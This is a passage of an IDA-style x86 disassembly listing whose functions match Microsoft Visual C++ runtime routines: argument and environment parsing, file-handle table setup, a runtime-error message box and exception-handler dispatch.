loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2620BE7h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx


loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]


loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620E24h
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2620BE7h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		call	near ptr 2620E46h
		nop
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax


loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2890000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		call	near ptr 26208C5h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		nop
		call	near ptr 2620B34h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------


loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------


loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE44, 1
		jnz	short locret_423DD0


loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFA8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax


loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4D8


loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D568
		jl	short loc_423DE4


loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4D8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE3C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE44, 1
		jz	loc_423EFB


loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h


loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4DC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------


loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4DC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26208C5h
		push	eax
		nop
		call	near ptr 2730000h


loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD040


loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]


loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------


loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3


loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD140
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------


loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD140, 20h
		lea	ecx, ds:4DD040h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------


loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi


loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE44, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------


loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 2610CD1h


loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------


loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD140
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE44, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------


loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h


loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2610CD1h


loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------


loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh


loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD040[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		call	near ptr 2610741h
		nop
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 26A0E98h
		jmp	short loc_424127
; ---------------------------------------------------------------------------


loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax


loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDE0, eax


loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDDC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD020
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------


loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi


loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD020, eax


loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD020, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC01C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx


loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D568


loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC01C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7E8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D578


loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD040[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5


loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5D8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE1C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFAC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------


loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------


loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DBFF8, eax
		jz	short loc_424286


loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h


loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
